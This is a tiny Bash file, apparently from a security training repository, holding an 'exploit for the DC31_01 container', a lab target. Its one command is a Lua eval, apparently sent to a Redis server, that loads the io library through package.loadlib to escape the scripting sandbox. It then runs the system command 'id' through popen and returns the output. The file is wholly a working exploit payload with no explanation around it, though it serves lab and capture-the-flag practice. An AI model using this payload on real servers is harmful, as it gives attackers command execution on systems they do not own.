h4cker/web_application_testing/additional_exploits/dc31_01.sh
2023-10-19 15:30:07 -04:00

3 lines
232 B
Bash

# Exploit for the DC31_01 container
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0